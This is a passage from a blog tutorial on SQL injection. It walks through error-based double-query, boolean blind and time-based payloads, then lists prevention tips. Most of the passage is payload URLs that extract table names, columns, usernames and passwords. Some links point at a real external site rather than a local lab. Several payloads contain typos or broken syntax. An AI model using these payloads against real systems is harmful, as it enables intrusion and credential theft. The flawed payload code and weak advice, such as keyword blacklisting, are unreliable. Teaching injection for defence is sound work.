href="https://kyanc.edu.bd/page.php?id=10&#39;">.php?id=1</a>&#39; AND (select 1 from (select count(*), concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x3a,0x3a , floor(rand()*5))a from information_schema.tables group by a)b)--+</blockquote><p>— You will get first table name from this now we have to increase limit and find out all the table name.</p><p>— We will get table name between the ::: ::: and if you cant get then refresh it again and again.</p><ul><li><strong>Find Column name from the table :-</strong></li></ul><p>Let suppose we get table name users from the above step</p><blockquote><a href="http://localhost/sql_injection/double-query-injection-2">http://localhost/sql_injection/</a>union-based-injection<a href="https://kyanc.edu.bd/page.php?id=10&#39;">.php?id=1</a>&#39; AND (select 1 from (select count(*), concat(0x3a,0x3a,(select column_name from information_schema.columns where table_name=’user’ and table_schema = database() limit 0,1),0x3a,0x3a , floor(rand()*5))a from information_schema.tables group by a)b)--+</blockquote><p>— You will get first column name from this now we have to increase limit and find out all the column name from the table user.</p><p>— We will get column name between the ::: ::: and if you cant get then refresh it again and again.</p><ul><li><strong>Find the data from the column :-</strong></li></ul><p>let we have column name — id,name,username,password</p><p><strong><em>payload for Id :-</em></strong></p><blockquote><a href="http://localhost/sql_injection/double-query-injection-2">http://localhost/sql_injection/</a>union-based-injection<a href="https://kyanc.edu.bd/page.php?id=10&#39;">.php?id=1</a>&#39; AND (select 1 from (select count(*), concat(0x3a,0x3a,(select id from user where table_schema = database() limit 0,1),0x3a,0x3a , floor(rand()*5))a from information_schema.tables group by a)b)--+</blockquote><p><strong><em>payload for name:-</em></strong></p><blockquote><a href="http://localhost/sql_injection/double-query-injection-2">http://localhost/sql_injection/</a>union-based-injection<a href="https://kyanc.edu.bd/page.php?id=10&#39;">.php?id=1</a>&#39; AND (select 1 from (select count(*), concat(0x3a,0x3a,(select name from user where table_schema = database() limit 0,1),0x3a,0x3a , floor(rand()*5))a from information_schema.tables group by a)b)--+</blockquote><p><strong><em>payload for username:-</em></strong></p><blockquote><a href="http://localhost/sql_injection/double-query-injection-2">http://localhost/sql_injection/</a>union-based-injection<a href="https://kyanc.edu.bd/page.php?id=10&#39;">.php?id=1</a>&#39; AND (select 1 from (select count(*), concat(0x3a,0x3a,(select username from user where table_schema = database() limit 0,1),0x3a,0x3a , floor(rand()*5))a from information_schema.tables group by a)b)--+</blockquote><p><strong><em>payload for password:-</em></strong></p><blockquote><a href="http://localhost/sql_injection/double-query-injection-2">http://localhost/sql_injection/</a>union-based-injection<a href="https://kyanc.edu.bd/page.php?id=10&#39;">.php?id=1</a>&#39; AND (select 1 from (select count(*), concat(0x3a,0x3a,(select passwordfrom user where table_schema = database() limit 0,1),0x3a,0x3a , floor(rand()*5))a from information_schema.tables group by a)b)--+</blockquote><p>— In this way we can get the whole data from the firt row.</p><p>— For the data of second row inrease the limit to 1,0 and start same as above again.</p><ul><li>And Finally we get all the data from the table .</li></ul><h3>[3] Blind Injection :-</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SF7GnGtwQI_sLB1TiHxXQQ.jpeg" /><figcaption>image by :- digitalmunition</figcaption></figure><p>It’s name say all the things about this injection, here blind represents to no errors we are unable to see any errors and we also not able to generate error like union based injection in this case we use blind sql injection. This injection give us answer in yes and no , we ask from the site that the databse name is less then 5 charecter if yes then it show content of the page normally and if no then there is something missing in the content of the page. It seems that database is talking with us and this is wonderfull vulnerability .</p><p>Blind Sql injection is further divided into the Two types :-</p><ol><li>Boolean Based Sql injection</li><li>Time Based Sql injection</li></ol><p><strong><em>BOOLEAN BASED SQL INJECTION :</em></strong>-</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/200/1*dNA5NJCZSwPj6LHpQ6iLTw.gif" /></figure><p>In this sql injection we ask yes or no from the database and databse also give answer in yes and no this is the functionality of the database. Such type of conditions occur whenever Error Handeling of the data base is not working properly , in every site there is a lots of vunerability present no matter how much it is secure but there is always a threat of hacking is over the head of every site and server its all depend upon the skills and echiniques of the hacker. And Most of the sites are affected by the Blind sql injection and the xss injection attack.</p><p>In Boolean Based we talk with the database in numbers, characters and also from the assci value of the sign,symbol and characters.</p><p><strong><em>Following are some example of payload of boolean based blind sql injection :-</em></strong></p><p>Payload :- 1</p><ul><li><strong><em>To find the length of the database name :-</em></strong></li></ul><blockquote><a href="http://localhost/boolean-based-injection.php?id=1&#39;">http://localhost/boolean-based-injection.php?id=1&#39;</a> AND (select length(database()) &gt; 5)--+</blockquote><blockquote><a href="http://localhost/boolean-based-injection.php?id=1&#39;">http://localhost/boolean-based-injection.php?id=1&#39;</a> AND (select length(database()) &lt; 6)--+</blockquote><blockquote><a href="http://localhost/boolean-based-injection.php?id=1&#39;">http://localhost/boolean-based-injection.php?id=1&#39;</a> AND (select length(database()) = 5)--+</blockquote><ul><li><strong><em>Find out the database name :-</em></strong></li></ul><blockquote><a href="http://localhost/boolean-based-injection.php?id=1&#39;">http://localhost/boolean-based-injection.php?id=1&#39;</a> AND (select ascii(substr(database(),1,1)) &lt; 110 )--+</blockquote><blockquote><a href="http://localhost/boolean-based-injection.php?id=1&#39;">http://localhost/boolean-based-injection.php?id=1&#39;</a> AND (select ascii(substr(database(),1,1)) = 108 )--+</blockquote><blockquote><a href="http://localhost/boolean-based-injection.php?id=1&#39;">http://localhost/boolean-based-injection.php?id=1&#39;</a> AND (select ascii(substr(database(),2,1)) &gt;108 )--+</blockquote><p>— Increase the limit from 1,1 to 2,1 3,1…….</p><p>— Here characters are check by their ascii value</p><ul><li><strong><em>Find out the table name number And table length :-</em></strong></li></ul><blockquote><a href="http://localhost/boolean-based-injection.php?id=1&#39;">http://localhost/boolean-based-injection.php?id=1&#39;</a> AND ( select length(table_name) from information_schema.tables where table_schema=database() limit 0,1) = 3--+</blockquote><blockquote><a href="http://localhost/boolean-based-injection.php?id=1&#39;">http://localhost/boolean-based-injection.php?id=1&#39;</a> AND ( select length(table_name) from information_schema.tables where table_schema=database() limit 1,1) &lt; 5--+</blockquote><blockquote><a href="http://localhost/boolean-based-injection.php?id=1&#39;">http://localhost/boolean-based-injection.php?id=1&#39;</a> AND ( select length(table_name) from information_schema.tables where table_schema=database() limit 0,1) &gt; 10--+</blockquote><p>— Increase the limit from 1,1 to 2,1 3,1…….</p><p>— We can find both number of table present into the database and also the length of that table.</p><ul><li><strong><em>Find out the table name :-</em></strong></li></ul><blockquote><a href="http://localhost/boolean-based-injection.php?id=1&#39;">http://localhost/boolean-based-injection.php?id=1&#39;</a> AND ( select ascii(substr(table_name,{0,1)) from information_schema.tables where table_schema=database() limit {0,1) &gt; 105--+</blockquote><blockquote><a href="http://localhost/boolean-based-injection.php?id=1&#39;">http://localhost/boolean-based-injection.php?id=1&#39;</a> AND ( select ascii(substr(table_name,{0,1)) from information_schema.tables where table_schema=database() limit {1,1) = 103--+</blockquote><p>— Increase both the limit from 1,1 to 2,1 3,1…….</p><p>— In this way we can extract all the data</p><p>— Disadvantage of this is it take lots of time to perform this injection manully thats why we use automated tools like sql map or scripts of python.</p><p><strong><em>TIME BASED SQL INJECTION :</em></strong>-</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*oddXCZApSz0FNjPzlkDxwg.gif" /></figure><p>In this injection we can identify the answers from the site by make them sleep for som specific time like 10 sec, 5 sec to identify that our answers is correct or not . If our answer is correct then it sleep for the defined time and if answer is wrong site is unable to sleep.In this way this injection also make database talkitive .</p><p><strong><em>Following are some example of payload of Time based blind sql injection :-</em></strong></p><ul><li><strong><em>Find database :</em></strong>-</li></ul><blockquote>select if((select datbase())=’sqli’ ,sleep(10),null)</blockquote><ul><li><strong><em>Find Length of table :-</em></strong></li></ul><blockquote>select if((select length(table_name) from information_schema.tables where table_schema = database() limit 0,1)=6,sleep(10),null);</blockquote><ul><li><strong><em>Find Name of the table :-</em></strong></li></ul><blockquote>select if((select ascii(substr(table_name)) from information_schema.tables where table_schema = database() limit 0,1)=’115&#39;,sleep(10),null);</blockquote><p>— In this way we can find all the data from the database.</p><h3><strong><em>[*] PREVENTION FROM THE SQL INJECTION</em></strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*00fz039cf31R-Fx8t-JvhA.jpeg" /></figure><ul><li>First and most important thing to prevent from the sql injection to take the sanatize and proper validate input from the users by which attacker are unable to inject malicious queries.</li><li>Set the limit to take input, like if we want to take username from the user then validate it by the 30 character no any username contains more than 30 character</li><li>Whitelist the character and numbers.</li><li>Blacklist the words which are used in malicious queries like union,sleep,if etc. By which if attacker want to do attack using this queries then site denies the permissions and block the attackers like Cloudflare. Cloudflare instant give the block message to the attacker.</li><li>Dont trust on firewall to protect against the sql injection its only a myth that firewall protect the site from sql injection attack.</li><li>Use different server for database rather than the web server if attacker attacked on the web server then they are unable to reach to the database server .</li><li>Dont trust on ssl certificate by using ssl your site is not safe the work of ssl is to only transmit the data safely from the web server to the user browser.</li><li>Do not connect your application to the database using an account with root access. Using a limited access account is safe.</li><li>The safest way is to write the secure code with proper validation and provide only necessary functionality to the users and check your code again and again to make sure that there is no loop hole for the attackers.</li></ul><blockquote><strong><em>Thank You for reading this blog.</em></strong></blockquote><blockquote><strong>If you have any Doubt regarding this then feel free to contact with me</strong></blockquote><blockquote><strong><em>You can follow me on linkedin and twitter</em></strong></blockquote><p><strong><em>Linkedin</em></strong> :- <a href="https://www.linkedin.com/in/dheeraj-deshmukh-65b7901a4/">https://www.linkedin.com/in/dheeraj-deshmukh-65b7901a4/</a></p><p><strong><em>Twitter</em></strong> :- <a href="https://twitter.com/dheeraj_deshmuk">https://twitter.com/dheeraj_deshmuk</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=31c12e412d56" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>